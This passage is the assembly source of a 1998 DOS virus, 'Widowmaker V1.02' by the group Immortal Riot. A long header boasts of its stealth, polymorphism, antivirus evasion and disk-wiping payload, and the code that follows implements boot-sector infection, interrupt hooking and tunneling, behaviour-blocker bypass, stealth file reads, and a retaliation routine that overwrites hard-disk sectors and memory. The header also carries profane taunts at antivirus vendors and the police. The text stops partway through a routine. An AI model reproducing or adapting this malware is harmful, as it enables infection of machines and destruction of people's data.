;
;             - Widowmaker V1.02, done by ED-209/Immortal Riot -
;
;     Multi-partite full-stealth slow-polymorphic BOOT/COM/EXE-infector.
;
;
;
;
;
;
;
;
;
;               "Until now, there was no cure for Windows95..."
;
;                         "Time has come to pay..."
;
;
;
;
;
;
;
;            NETTO SIZE  :  Approx. 5800 bytes.
;      OPERATING SYSTEM  :  MS-DOS compatible systems.
;             PROCESSOR  :  8086 and up.
;           CODING DATE  :  July/August-1998.
;
;
;
;  Full-stealth (network compatible).
;  Highly slow-polymorphic in files.
;  Stealths reads/writes to the zerotrack of harddisks.
;  Tunneling i13h/i21h with complex opcode-stealther.
;  Skips various behaviour-blockers during tracing.
;  Payload: random data-corruption.
;  Variable encrypting original boot/boot/files.
;  Disables stealth during execution CHKDSK & archivers.
;  Retro: attacks systems after "removal" or fake calls.
;  Fucks TBClean when cleaning.
;  Adds parameters to various programs to avoid detection.
;  Doesn't infect various AV-programs.
;  Infects on findfirst/findnext.
;  Uses UMBs while going resident from files.
;  And does some other things, just take a look...
;
;
;
;  INFECTION: This is a  very fast infector,  it infects on  program execute
;             (4B00h),  open  (3Dh),  extended  open (6C00h),  get/set  file
;             attributes (43h), delete file (41h),  and on handle findfirst/
;             findnext  operations  (only  randomly). The  virus  will avoid
;             infecting Windoze-files, AV-programs,  and files which are too
;             big/small.
;
;
;    STEALTH: The virus uses true re-direction stealth  (no SFTs,  so we are
;             compatible with networks, etc).  It intercepts i21h  functions
;             11h/12h (findfirst/next FCB), 4Eh/4Fh (findfirst/next handle),
;             3Fh (read),  4202h (lseek to EOF), and 5700h (get filedate and
;             time)  to  stealth  infected  files.  Besides  these  standard
;             stealthing-mechanisms  it  also cleans  infected files  before
;             allowing any writes to it (i21h/40h), and cleans programs when
;             executed by a debugger (i21h/4B01h).  Reads and  writes to the
;             boot are stealthed.  Another form of  stealth is the fact that
;             Widowmaker adds parameters to various (AV-) programs,  in most
;             cases  parameters  to skip the  memory-scan  (so  it won't  be 
;             detected if the scanner is updated and scans RAM for us),  and
;             parameters to skip the "this-program-is-old" message,  this is
;             done coz else the user could get a upgraded version of the AV-
;             scanner   which  uses   different  techniques  to  detect  us.
;
;
;   TUNNELER: Widowmaker uses an  recursive tunneler,  in most cases it will
;             skip  UMBs  so  we  don't  have  any problems with the INT 13h
;             entrypoint anymore, for INT 21h it assumes the DOS datasegment
;             is the DOS-segment (AH=52h).  The tunneler also has an opcode-
;             checker, which will hide & protect the trapflag, the following
;             instructions are stealthed:  PUSHF/POPF/IRET/INT/INTO/INT3 and
;             the following prefixes are recursivly skipped: CS:/DS:/ES:/SS:
;             /REPZ/REPNZ/LOCK.  The  virus also  can  trace/stealth  POP SS
;             instructions, so AVPTSR will not detect any tunneling attempts
;             made by our virus.  Also, it  will check that the actual  dos-
;             segment is found and not AVP. If some  AV-program tries to  be
;             funny  by  using  our  segment,  so it  can  use  un-stealthed
;             instructions,  it  will  have  it's  ass  kicked  immediately.
;
;
;    PAYLOAD: There  is a chance  that the  sector(s)  being read/written by
;             i13h are overwritten by a  part of the virus  (includes text).
;             Besides  this random  data-corruption  the virus  also  has an
;             activation-routine which is called when the virus notices that
;             it is being spotted. Whenever a  disk  is  infected  the virus
;             first  checks if a random signature is  present on a specified
;             sector, if so,  then the disk was infected  before and cleaned
;             (thus the virus is spotted).  Another "anti-spot"  routine  is
;             the residency-check,  it  checks if a  signature is present in
;             the caller,  if  not then the  call is made by a  program that 
;             detects active  virii in memory  (and disables 'em).  When the
;             virus  notices  that it  is being  spotted  it  activates  the
;             payload: it locks the keyboard so no quick resets can be done,
;             clears the screen and displays a message,  and then overwrites
;             most data on all harddisks in the system.  The payload is also
;             activated when  the virus notices  that it  is being debugged.
;
;
;      RETRO: Widowmaker detects  when it is executed under TBClean, (or any
;             other single-stepper), and if so, it trashes a part of the FAT
;             (gee,  can you believe how STUPID that  TBClean program is?!),
;             and  corrupts  memory with the  message " DIE MOTHERFUCKER! ",
;             (how original...),  this  also affects the videomemory,  so it
;             will scare the hell out of the Winshit users. Please note that
;             the  trick of  executing a interrupt  under TBClean was ripped
;             from a article of Rhince & Rajaat.
;
;
;  POLYMORPH: The polymorphic engine generates pointer-addressing decryptors
;             by  use  of  the four  pointer-registers (BX/SI/DI/BP)  with a
;             random 16bit displacement. The code is encrypted with multiple
;             algorithms  (ADD/SUB/XOR/INC/DEC/NOT/NEG/ROL/ROR).  Decryption
;             is  done  wether upwards or downwards.  Pointer-registers  are
;             changed with one of  five methods (two  directions, that gives
;             us 10 different variations).  The  engine  can  produce  quite
;             complex garbage instructions: it supports non-zerodisplacement
;             (un)-conditional JMPs, PUSHes/POPs,  with garbage between 'em,
;             CALLs to garbage sub-routines, dummy (sub)functions of various
;             interrupts,  calls to  dummy interrupts, overlapping code  (to
;             confuse  debuggers and/or  disassemblers and it also generates
;             most standard instructions used in programs. Plus a table with
;             less-used instructions,  to prevent MtE-alike detection.  Most
;             infected files  are undetectable  by heuristics,  depending of
;             the amount of INTs. Too make the life of AV-pussies  even more
;             harder it uses slow-polymorph,  it  will only generate a poly-
;             decryptor when  it becomes resident  for the first time.  Each
;             file  infected next,  is carrying the same decryptor.  Besides
;             the external poly-layer, the virus also has a 2nd XOR-cryption
;             layer (slow-variable key),  with an anti-emulation routine, so
;             there  will be no  flags triggered  from the viruscode itself.
;
;
;  DETECTION: This virus  is not  detectable by  any of the scanners  below,
;             that is, by signature-scanning (including generic decryption).
;             It also doesn't scan as MtE, TPE, etc, encrypted.  It operates
;             unnoticed by AVPTSR & TBAV. It takes TBScan quite some time to
;             emulate his way tru the decryptors.
;
;
;               - NOD 7.24              :       Wow!  a  decent scanner!  It
;                                               detects  infected  files....
;                                               Hrrmm..... Shit! Still,  NOD
;                                               can  be  defeated  by  using
;                                               anti-heuristics  similair to
;                                               the ones of used for TBScan.
;
;               - AVP 3.00              :       No trigger.
;
;
;
;               - TBScan 8.07           :       No trigger in high heuristic
;                                               in most cases,  depending on
;                                               the decryptor. As usual, the
;                                               lousy  heuristic analyzer is
;                                               sometimes  detecting  things
;                                               which aren't present at all.
;
;
;
;               - TBClean 8.07          :       Unable  to clean,  infact it
;                                               activates the anti-debugging
;                                               payload (bye bye harddisk!).
;
;
;
;
;             This  virus isn't  exactly what I got  in mind when  I started
;             with the  whole project,  there are quite  a few  things which
;             couldn't  be implemented.  The reason for  this is the  slowly
;             death of DOS, I simply refuse spending like 4 months to create
;             a 'perfect' virus (no bugs, small, advanched, etc), which will
;             never  make it into the wild.  The virus is  mostly  optimized
;             with  simple optimizations.  I'm not  100%  satisfied with the
;             tunneler,  it was the last thing I  coded for this virus,  and
;             I didn't felt  like making it 'perfect'.  I haven't discovered
;             any bugs  in the tunneler,  but I also haven't tested it  that
;             well.  One thing that drove me crazy was this one part in  the
;             tunneler,  where it compares the instruction-segment  with the
;             DOS-segment, the trapflag isn't turned off, though the correct
;             DOS entrypoint-address is found.
;
;
;     GREETS: Buz-,  DrDope,  Gulgi,  Metal Militia,  nUcLeii,  Priest,  r-,
;             Rajaat, _ssr, T-2000, Targor, The Unforgiven, _URGO32, [VEiN],
;             VirusBust, and Virus-X.
;
;
;    !! WARNING !! WARNING !! WARNING !! WARNING !! WARNING !! WARNING !!
;
;            I strongly suggest that you do NOT try out this virus!
;                           It is HIGHLY destructive!
;      If you infect a diskette/harddisk for the second time, the virus
;              will activate, and trash ALL drives in your system!
;
;                   If the world fucks me, I'll fuck it back...
;
;
;  This baby is named after the illegal fireworks "Widowmakers" (and believe
;  me, that name doesn't lie!). They procuce an ENORMOUS boom, and will blow
;  your hands off in no-time!
;
;
;
;
;  Special message  goes out to the law:  FUCK YOU! You will  never bring me
;  down! Stealin' our money, rippin' our freedom,  I DON'T WANT YOU! I never
;  asked for a master!
;
;
; For those about to die, we salute you...
;
;

;===========================[ W1D0WM4K3R.4SM ]===============================


                .MODEL  TINY
                .STACK  Work_Stack
                .CODE

                JUMPS           ; I'm too lazy to fix this, sorry...


Work_Stack      EQU     8000


Yes_dont_hurt_me        =       0       ; Damage-routines disabled.
No_way_lets_kick_ass    =       1       ; Damage-routines enabled.

Pussy_Mode              =       Yes_dont_hurt_me


Virus_Size      EQU     (Virus_End - $)
Netto_Size      EQU     (Virus_Size + Max_Decryptor)
Virus_Size_Mem  EQU     ((Netto_Size * 2) + 256 + Work_Stack + 15) / 16
Virus_Size_kB   EQU     ((Virus_Size_Mem * 16) + 1023) / 1024
Body_Sectors    EQU     ((Virus_Size - 512) + 511) / 512
Mark_Boot       EQU     0FACEh
Encr_Loadersize EQU     (510 - (Encrypted_Boot - $))
Res_Check_i13h  EQU     0EFF9h
Res_Check_i21h  EQU     0EB79h
Marker_i13h     EQU     7622h
Marker_i21h     EQU     1A63h
Marker_File     EQU     0F2B1h
Marker_Call_OK  EQU     4D37h
Mark_ID_Sector  EQU     0DEADh
Century         EQU     100 SHL 1       ; Hundred years in datetime-format.
Infected_Date   EQU     (2080 - 1980) SHL 1     ; 2080.


; Ripped from Mirror virus.
dwb             macro   wval, bval
                dw      wval
                db      bval
                endm

Virus_Begin:

                ; === BOOT ===

                JMP     Virus_Entry
                NOP

                ; === Original header of our host ===

Host_Bytes      DW      'ZM'            ; We are an .EXE-type.
                DW      0
                DW      0
                DW      0
                DW      0
                DW      0
                DW      0
                DW      0
                DW      0
                DW      0
                DW      OFFSET Carrier
                DW      0

Hook_Counter    DB      0

i01h            DW      0, 0
Trace_Mode      DW      0

i13h            DW      0, 0
Traced_i13h     DW      0, 0

i21h            DW      0, 0
Traced_i21h     DW      0, 0

                ORG     62
Virus_Entry:
                MOV     BX, 7C00h + OFFSET Encrypted_Boot
                MOV     CX, Encr_Loadersize

Decr_Boot:      XOR     BYTE PTR CS:[BX], 00h   ; Decrypt boot.
Key_Virus_Boot  =       BYTE PTR $-1
                INC     BX
                LOOP    Decr_Boot

                JMP     Encrypted_Boot

                ; *** DATA-TABLE ***

Stored_TS       DW      0
Stored_HD       DW      0
Sign_Boot       DW      Mark_Boot
Key_Stored_Boot DW      0


                ; *** ENCRYPTED IN BOOT ***

Encrypted_Boot: MOV     SI, 7C00h
                XOR     DI, DI

                CLI                             ; Set stack.
                MOV     SS, DI
                MOV     SP, SI
                STI

                MOV     DS, DI

                MOV     DS:[7C00h + Hook_Counter], 2

                INT     12h                     ; Reserve needed DOS-memory.
                MOV     BP, AX
                SUB     AX, Virus_Size_kB
                MOV     DS:[413h], AX

                MOV     CL, 6                   ; Calculate our new segment.
                SHL     AX, CL

                MOV     ES, AX

                MOV     CX, 512                 ; Copy bootsector to our
                PUSH    CX                      ; segment.
                CLD
                REP     MOVSB

                MOV     AX, OFFSET Reloc_Boot

                PUSH    ES                      ; Pass control to resident
                PUSH    AX                      ; copy.
                RETF


Copyright       DB      'Widowmaker by [ED-209/Immortal Riot]', 0


Reloc_Boot:     MOV     AX, 0200h+Body_Sectors  ; Read encrypted virusbody
                POP     BX                      ; into our segment. BX=512
                MOV     CX, CS:Stored_TS
                INC     CX
                MOV     DX, CS:Stored_HD
                INT     13h                     ; Fuck! I *HATE* using INT's
                                                ; in my virii! No room for
                                                ; tunneler, sorry...

                ; === Decrypt encrypted virusbody ===

                MOV     AX, 0000h
Key_Virus_Body  =       WORD PTR $-2
                MOV     CX, (Body_Sectors * 512) / 2

Decr_Body:      XOR     CS:[BX], AX
                INC     BX
                INC     BX
                LOOP    Decr_Body

                MOV     CS:JMP_Databyte, CL

                MOV     CS:Old_Dos_Mem, BP

                MOV     AX, 13h * 4
                CALL    Trace_Interrupt

                CLI
                MOV     DS:[13h * 4], OFFSET NewInt13h
                MOV     DS:[13h * 4 + 2], CS
                MOV     DS:[21h * 4], CX
                MOV     DS:[21h * 4 + 2], CX
                MOV     CS:i21h, CX             ; Save INT 21h.
                MOV     CS:i21h+2, CX
                STI

                CALL    Read_MBS                ; Infect MBS.

                INT     19h                     ; Reboot with stealth.

Version_Number  DB      '[V1.02]'


Check_Int21h:
                CALL    Push_All

                CWD                             ; DS=0000h.
                MOV     DS, DX

                PUSH    CS
                POP     ES

                MOV     SI, 21h * 4
                MOV     DI, OFFSET i21h

                CLD

                CMPSW                           ; INT 21h changed?
                JNE     Hook_i21h

                CMPSW                           ; INT 21h changed?
                JE      Exit_Chk_i21h

Hook_i21h:      MOV     AX, DS:[21h * 4 + 2]

                OR      AX, AX                  ; Not set yet?
                JZ      Exit_Chk_i21h

                CMP     AX, 800h                ; Too high?
                JA      Exit_Chk_i21h

                CMP     AX, DS:[20h * 4 + 2]    ; Same as INT 20h ?
                JNE     Exit_Chk_i21h

                CMP     AX, DS:[27h * 4 + 2]    ; Same as INT 27h ?
                JNE     Exit_Chk_i21h

                MOV     SI, CS

                CMP     AX, SI                  ; Our own CS ? then not DOS.
                JE      Exit_Chk_i21h

                LDS     SI, DS:[21h * 4]

                CMP     DS:[SI], 9090h          ; DOS-kernal?
                JNE     Exit_Chk_i21h

                DEC     CS:Hook_Counter         ; Give system some time to
                JNZ     Exit_Chk_i21h           ; stabilize the hook.

                MOV     DS, DX                  ; DS=0000h.

        ; Restore amount of DOS-memory after MCBs are created.

                MOV     WORD PTR DS:[413h], 0000h
Old_Dos_Mem     =       WORD PTR $-2

                CALL    Hook_Int21h

Exit_Chk_i21h:  CALL    Pop_All

                RETN


;-----------------------------
; Tunnels INT 13h or INT 21h.
;
;
; AX = offset INT in IVT.
;-----------------------------
Trace_Interrupt:

                CALL    Push_All

                MOV     CS:Trace_Mode, AX

                CWD                             ; DS=0000h.
                MOV     DS, DX

                PUSH    CS
                POP     ES

                MOV     SI, 01h * 4             ; Save address INT 01h.
                MOV     DI, OFFSET i01h
                CLD
                MOVSW
                MOVSW

                PUSH    AX

                CMP     AX, 13h * 4             ; Can we use DOS-functions?
                JNE     Trace_With_Dos

                MOV     WORD PTR DS:[SI-4], OFFSET NewInt01h
                MOV     WORD PTR DS:[SI-2], CS

                JMP     Set_TF

Trace_With_Dos: PUSH    CS
                POP     DS

                MOV     AX, 2501h               ; Hook INT 01h.
                MOV     DX, OFFSET NewInt01h
                INT     21h

                MOV     AH, 52h                 ; Get list of lists.
                INT     21h                     ; ** UNDOCUMENTED **

                MOV     DOS_Segment, ES

Set_TF:         PUSHF                           ; Set trapflag.
                POP     AX
                OR      AH, 00000001b
                PUSH    AX
                POPF

                POP     SI                      ; Offset in IVT.
                PUSH    SI

                XOR     AX, AX                  ; DS=0000h.
                MOV     DS, AX

                PUSH    CS                      ; ES=CS.
                POP     ES

                CMP     SI, 13h * 4
                JNE     Trace_Int21h

                MOV     DI, OFFSET i13h
                CLD
                MOVSW
                MOVSW

                POP     SI
                CLD
                MOVSW
                MOVSW

                XOR     AH, AH                  ; Trace reset disk.
                CALL    Int13h

                JMP     Exit_Trace_Int

Trace_Int21h:   MOV     DI, OFFSET i21h
                CLD
                MOVSW
                MOVSW

                POP     SI
                MOVSW
                MOVSW

                MOV     AH, 19h
                CALL    Int21h

Exit_Trace_Int: PUSHF                           ; Play save and clear TF.
                POP     AX
                AND     AH, NOT 00000001b
                PUSH    AX
                POPF

                PUSH    DS                      ; ES=0000h.
                POP     ES

                PUSH    CS
                POP     DS

                CMP     Trace_Mode, 13h * 4
                JNE     Restore_i01h_DOS

                MOV     SI, OFFSET i01h
                MOV     DI, 01h * 4
                CLD
                MOVSW
                MOVSW

                JMP     Exit_Tracer

Restore_i01h_DOS:

                MOV     AX, 2501h
                LDS     DX, DWORD PTR i01h
                CALL    Traced_Int21h

Exit_Tracer:    CALL    Pop_All

                RETN


Read_MBS:
                MOV     AX, 0201h               ; Read MBS of 1st harddisk
                MOV     BX, OFFSET Buffer       ; via INT 13h so the virus
                INC     CX                      ; will infect it, (CX=0001h).
                MOV     DX, 0080h
                INT     13h

                RETN


Virus_Name      DB      '[W1D0WM4K3R]'

                ORG     510
                DW      0AA55h                  ; Valid bootsector-marker.


Push_All:
                POP     CS:Return_Address       ; POP return-address.

                PUSHF
                PUSH    AX
                PUSH    BX
                PUSH    CX
                PUSH    DX
                PUSH    BP
                PUSH    SI
                PUSH    DI
                PUSH    DS
                PUSH    ES

                JMP     CS:Return_Address


Pop_All:
                POP     CS:Return_Address

                POP     ES
                POP     DS
                POP     DI
                POP     SI
                POP     BP
                POP     DX
                POP     CX
                POP     BX
                POP     AX
                POPF

                JMP     CS:Return_Address


;-------------------------------
;    AX = Cryption-key.
;    CX = Words to crypt.
; ES:BX = Buffer to crypt.
;-------------------------------
Word_Crypt:
                PUSH    BX

Crypt_Word:     XOR     ES:[BX], AX
                INC     BX
                INC     BX
                LOOP    Crypt_Word

                POP     BX

                RETN


;    AL = INT.
; AX:BP = address INT.
Get_Int:
                PUSH    DX
                PUSH    DS
                PUSH    ES

                XOR     AH, AH
                SHL     AX, 2
                XCHG    BP, AX

                XOR     AX, AX                  ; DS=0000h.
                MOV     DS, AX

                LDS     DX, DWORD PTR DS:[BP]

                MOV     BP, DX
                MOV     AX, DS

                POP     ES
                POP     DS
                POP     DX

                RETN


Strip_Prefixes:
                PUSH    CX
                PUSH    SI

                PUSH    CS
                POP     ES

                CLD

Skip_Prefix:    LODSB                           ; AX = next instruction(s).

                MOV     CX, (End_Prefixes - Prefixes)
                MOV     DI, OFFSET Prefixes
                REPNE   SCASB                   ; Prefix?
                JE      Skip_Prefix             ; Then skip it, & loop again.

                MOV     BX, SI

                POP     SI
                POP     CX

                RETN


;============================================================================
;                              INT 01h HANDLER
;============================================================================
NewInt01h:
                MOV     CS:Tracer_DS, DS

                PUSH    CS
                POP     DS

                MOV     Tracer_AX, AX
                MOV     Tracer_BX, BX
                MOV     Tracer_CX, CX
                MOV     Tracer_DX, DX
                MOV     Tracer_BP, BP
                MOV     Tracer_SI, SI
                MOV     Tracer_DI, DI
                MOV     Tracer_ES, ES

                POP     SI                      ; IP
                POP     DS                      ; CS
                POP     CX                      ; Flags

                CLD

                CALL    Skip_Blockers           ; Prevent stack-checks.
                JC      Exit_Int01h

                MOV     AX, DS

                CMP     CS:Trace_Mode, 13h * 4  ; Tracing INT 13h ?
                JNE     Tracing_i21h

                CMP     AX, 0C800h              ; Below BIOS ?
                JB      Stealth_Opcode

                CMP     AX, 0F000h              ; Above BIOS ?
                JA      Stealth_Opcode          ; This also skips most UMBs.

                MOV     CS:Traced_i13h, SI
                MOV     CS:Traced_i13h+2, AX

                JMP     Kill_TF

Tracing_i21h:
                CMP     AX, 0000h
DOS_Segment     =       WORD PTR $-2
                JNE     Stealth_Opcode

                CMP     DS:[SI], 9090h
                JNE     Stealth_Opcode

                MOV     CS:Traced_i21h, SI
                MOV     CS:Traced_i21h+2, AX

Kill_TF:        AND     CH, NOT 00000001b

                JMP     Exit_Int01h

Stealth_Opcode:
                MOV     BP, CS

                CMP     BP, AX                  ; Skip our CS, so our own
                JNE     Get_Opcode              ; instructions won't be
                                                ; stealthed.

                CMP     SI, OFFSET Virus_End    ; Piggybacker?
                JB      Exit_Int01h

                JMP     Retaliate               ; Then fuck him!

Get_Opcode:     CALL    Strip_Prefixes

                CMP     AL, 17h                 ; POP SS ?
                JNE     Check_PUSHF

                MOV     BP, SS
                POP     DX

                CMP     DX, BP                  ; Dummy SS-modification ?
                JNE     Restore_Stack

                MOV     SI, BX                  ; Skip POP SS.

                JMP     Get_Opcode

Restore_Stack:  PUSH    DX

Check_PUSHF:    CMP     AL, 9Ch                 ; PUSHF ?
                JNE     Check_POPF

                MOV     SI, BX                  ; Skip PUSHF

                AND     CH, NOT 00000001b       ; Clear TF.
                PUSH    CX                      ; PUSH flags.
                OR      CH, 00000001b           ; Set TF back.

Check_POPF:     CMP     AL, 9Dh                 ; POPF ?
                JNE     Check_IRET

                POP     CX                      ; POP flags to CX.
                OR      CH, 00000001b           ; Set TF.
                MOV     SI, BX                  ; Skip POPF

Check_IRET:     CMP     AL, 0CFh                ; IRET ?
                JNE     Chk_Breakpoint

                POP     SI
                POP     DS
                POP     CX
                OR      CH, 00000001b           ; Set TF.

                CMP     AL, 0CEh                ; INTO ?
                JNE     Chk_Breakpoint

                TEST    CH, 00001000b           ; Overflow flag set?
                JZ      Exit_Int01h

                MOV     AX, BX

                JMP     Simulate_INT

Chk_Breakpoint: CMP     AL, 0CCh                ; INT 3 (breakpoint) ?
                JNE     Check_INT

                MOV     AX, BX                  ; AX = return-address.

                JMP     Simulate_INT

Check_INT:      CMP     AL, 0CDh                ; INT ##?
                JNE     Exit_Int01h

                LEA     AX, [BX+1]              ; Return-address INT.

Simulate_INT:   AND     CH, NOT 00000001b       ; Clear TF.

                PUSH    CX                      ; Flags
                PUSH    DS                      ; CS
                PUSH    AX                      ; AX

                OR      CH, 00000001b           ; Set TF.

                MOV     AL, 03h

                CMP     BYTE PTR DS:[BX-1], 0CCh  ; Breakpoint?
                JE      Get_Int_Addr

                MOV     AL, DS:[BX]             ; AL = INT #.
Get_Int_Addr:   CALL    Get_Int

                MOV     SI, BP
                MOV     DS, AX

                JMP     Exit_Int01h

Exit_Int01h:    PUSH    CX                      ; Flags
                PUSH    DS                      ; CS
                PUSH    SI                      ; IP

                MOV     AX, 0000h
Tracer_DS       =       WORD PTR $-2
                MOV     DS, AX

                MOV     AX, 0000h
Tracer_ES       =       WORD PTR $-2
                MOV     ES, AX

                MOV     AX, 0000h
Tracer_AX       =       WORD PTR $-2

                MOV     BX, 0000h
Tracer_BX       =       WORD PTR $-2

                MOV     CX, 0000h
Tracer_CX       =       WORD PTR $-2

                MOV     DX, 0000h
Tracer_DX       =       WORD PTR $-2

                MOV     BP, 0000h
Tracer_BP       =       WORD PTR $-2

                MOV     SI, 0000h
Tracer_SI       =       WORD PTR $-2

                MOV     DI, 0000h
Tracer_DI       =       WORD PTR $-2

                IRET


;-----------------------------------------------------------------------
; Skips behaviour-blockers in memory without patching any code.
;
; I tested these routines with a TBDRIVER/TBDISK version from '92 and a
; version of 1998, so I suppose it will work with all versions within.
;
; Skips TBDRIVER & TBDISK.
;-----------------------------------------------------------------------
Skip_Blockers:
                ; === Check for TBDRIVER ===

                CMP     DS:[SI], 05EBh          ; JMP SHORT ?
                JNE     No_TBDriver

                CMP     BYTE PTR DS:[SI+2], 0EAh  ; JMP FAR chain ?
                JNE     No_TBDriver

                CMP     DS:[SI+7], 9CFAh        ; CLI & PUSHF ?
                JNE     No_TBDriver

                INC     SI                      ; Skip JMP over chain.
                INC     SI

                STC

                RETN


                ; === Check for TBDISK ===
No_TBDriver:
                CMP     DS:[SI], 1D75h          ; JNZ exit.
                JNE     No_TBDisk

                CMP     DS:[SI-2], 0100h
                JNE     No_TBDisk

                CMP     DS:[SI-4], 1606h
                JNE     No_TBDisk

                CMP     DS:[SI-6], 0F62Eh
                JNE     No_TBDisk

                CMP     DS:[SI-8], 0FC9Ch
                JNE     No_TBDisk

                AND     CL, NOT 01000000b       ; Clear ZF.

                STC

                RETN

No_TBDisk:
                CLC

                RETN


Prefixes        DB      02Eh    ; CS:
                DB      03Eh    ; DS:
                DB      026h    ; ES:
                DB      036h    ; SS:
                DB      0F3h    ; REPZ
                DB      0F2h    ; REPNZ
                DB      0F0h    ; LOCK
End_Prefixes:



Start_File:
                CLI                             ; Detect tracers such as
                PUSH    AX                      ; debuggers, TBClean, etc.
                MOV     BP, SP
                POP     AX
                CMP     [BP], AX
                STI
                JE      No_Tracer

Retaliate:      MOV     AX, 0320h               ; Trash critical area of HD.
                MOV     CX, 02h
                MOV     DX, 0180h
                PUSH    SS                      ; Trix sum fewlz.
                POP     SS

                DB      2Eh                     ; CS: (anti-TBClean).
IF Pussy_Mode EQ No_way_lets_kick_ass
                INT     13h
ENDIF

                ; Fuck TBClean code.

                CLD
                XOR     BX, BX

Trash_Mem:      MOV     ES, BX

                MOV     AH, 0CFh
                MOV     CX, (Trash_Mem_Msg_End - Trash_Mem_Msg)
                MOV     SI, OFFSET Trash_Mem_Msg
                XOR     DI, DI

Dump_Character: LODSB
                STOSW

                LOOP    Dump_Character

                SUB     BX, 3
                JMP     Trash_Mem

Trash_Mem_Msg   DB      ' DIE MOTHERFUCKER! '
Trash_Mem_Msg_End:


No_Tracer:      MOV     AX, Res_Check_i21h      ; INT 21h residency-check.
                INT     21h

                CMP     AX, Marker_i21h         ; Already hooked INT 21h ?
                JE      Run_Host

                MOV     AX, Res_Check_i13h      ; INT 13h residency-check.
                INT     13h

                CMP     AX, Marker_i13h         ; Already hooked INT 13h ?
                JE      Run_Host

                MOV     AX, 5802h               ; Get UMB link state.
                INT     21h

                XOR     AH, AH                  ; Save state on stack.
                PUSH    AX

                MOV     AX, 5803h               ; Link UMBs to memory-chain.
                MOV     BX, 0001h
                INT     21h

                XOR     DI, DI

                MOV     AH, 62h
                INT     21h

                XCHG    BX, AX
                DEC     AX

Find_Last_MCB:  MOV     DS, AX

                CMP     BYTE PTR DS:[DI], 'Z'   ; Last block in chain?
                JE      Last_MCB_Found

                INC     AX                      ; MCB-header.
                ADD     AX, DS:[DI+3]           ; Size in block.

                JMP     Find_Last_MCB

Last_MCB_Found: XCHG    CX, AX

                MOV     AX, DS:[DI+3]

                SUB     AX, Virus_Size_Mem
                JC      Run_Host

                MOV     DS:[DI+3], AX

                INC     AX
                ADD     AX, CX

                MOV     ES, AX

                MOV     AX, 5803h               ; Restore UMB link state.
                POP     BX
                INT     21h

                PUSH    CS
                POP     DS

                MOV     CX, Virus_Size          ; Copy us to our segment.
                CLD
                REP     MOVSB

                MOV     AX, OFFSET Reloc_File

                PUSH    ES                      ; Pass control to resident
                PUSH    AX                      ; viruscopy.
                RETF

                DB      0EAh                    ; Some overlapping code.

Reloc_File:
                PUSH    CS
                POP     DS

                CALL    Hook_Int21h

                MOV     AX, 13h * 4             ; Find entrypoint of INT 13h.
                CALL    Trace_Interrupt

                MOV     AX, 2513h               ; Hook INT 13h.
                MOV     DX, OFFSET NewInt13h
                CALL    Traced_Int21h

                CALL    Read_MBS

                XOR     SI, SI                  ; Zero displacement.

Run_Host:       POP     ES                      ; Restore most registers.
                POP     DS
                POP     DI
                POP     BP
                POP     DX
                POP     CX
                POP     BX
                POP     AX

                ADD     SI, (OFFSET Host_Bytes - Virus_Begin)

                IN      AL, 21h                 ; Reverse state keyboard.
                XOR     AL, 00000010b
                OUT     21h, AL

                CMP     CS:[SI.EXE_Mark], 'ZM'  ; Our host is a .EXE-file?
                JE      Run_Host_EXE

Run_Host_COM:   PUSH    CS
                POP     DS

                MOV     DI, 100h                ; Restore bytes of .COM-host.
                PUSH    ES
                PUSH    DI
                MOV     CX, (24 / 2)
                CLD
                REP     MOVSW

                XOR     AX, AX
                XOR     SI, SI
                XOR     DI, DI

                PUSH    ES
                POP     DS

                RETF

                DB      0EAh                    ; Some overlapping stuph.

Run_Host_EXE:   MOV     AX, DS
                ADD     AX, 10h

                ADD     CS:[SI.Program_CS], AX
                ADD     AX, CS:[SI.Program_SS]

                CLI                             ; Restore host' stack.
                MOV     SS, AX
                MOV     SP, CS:[SI.Program_SP]
                STI

                XOR     AX, AX

                ; Pass control to host.

                JMP     DWORD PTR CS:[SI.Program_IP]


        ; Dedicated to the dungeon keeper of #virus,
        ; I told you I would do it you lame fuck! Hahahaha!


                DB      'Marc sucks!'




Stealth_Read:
                CALL    Push_All

                MOV     CS:Read_Bytes, CX
                MOV     CS:Read_Buffer, DX

                CALL    Save_File_Pos

                CALL    Check_Stealth
                JE      JMP_Abort_Read

                CALL    Check_File_Date
                JNB     Check_Read

JMP_Abort_Read: JMP     Abort_Stealth_Read

Check_Read:     CALL    Save_File_Pos

                ADD     AX, 00h
Read_Bytes      =       WORD PTR $-2
                ADC     DX, CX

                MOV     DI, DX                  ; DI:SI = pos after read.
                XCHG    SI, AX

                CALL    Go_EOF

                SUB     AX, Netto_Size          ; DX:AX = length host.
                SBB     DX, CX

                CMP     DI, DX
                JB      Skip_Stealth_Read
                JA      Do_Stealth_Read

                CMP     SI, AX
                JA      Do_Stealth_Read

Skip_Stealth_Read:

                MOV     AX, CS:Read_Bytes

                JMP     Stealthed_Read

Do_Stealth_Read:
                SUB     AX, CS:Old_Pos_Low

Stealthed_Read: PUSH    AX

                CALL    Restore_File_Pos

                MOV     DI, DX                  ; DI:SI = oldpos.
                XCHG    SI, AX

                MOV     AH, 3Fh                 ; Do stealthed read.
                POP     CX
                MOV     DX, 00h
Read_Buffer     =       WORD PTR $-2
                CALL    Int21h

                MOV     BP, SP

                PUSHF
                POP     [BP.Reg_Flags]

                MOV     [BP.Reg_AX], AX
                MOV     [BP.Reg_DX], DX

                CALL    Save_File_Pos

                OR      DI, DI                  ; Reading from 1st 64k ?
                JNZ     Exit_Stealth_Read

                CMP     SI, 24                  ; Reading header?
                JNB     Exit_Stealth_Read

                CALL    Go_EOF

                SUB     AX, (Netto_Size - 3)
                SBB     DX, CX

                ADD     AX, SI                  ; Plus offset in header.
                ADC     DX, CX

                MOV     CX, DX                  ; Seek to position stored
                XCHG    DX, AX                  ; header.
                MOV     AX, 4200h
                CALL    Traced_Int21h

                MOV     AH, 3Fh                 ; Read original header in
                MOV     CX, 24                  ; caller's buffer.
                SUB     CX, SI
                MOV     DX, CS:Read_Buffer
                ADD     DX, SI
                CALL    Traced_Int21h

                CALL    Restore_File_Pos

Exit_Stealth_Read:

                CALL    Pop_All

                RETF    2

Abort_Stealth_Read:

                CALL    Restore_File_Pos
                CALL    Pop_All

                JMP     JMP_Int21h


Stealth_Seek:
                CALL    Push_All

                CALL    Check_Stealth
                JE      Exit_Stealth_Seek

                CALL    Check_File_Date
                JB      Exit_Stealth_Seek

                CALL    Go_EOF

                SUB     AX, Netto_Size          ; DX:AX = length of our host.
                SBB     DX, CX

                MOV     CX, DX                  ; Seek to end of our host.
                XCHG    DX, AX
                MOV     AX, 4200h
                CALL    Traced_Int21h

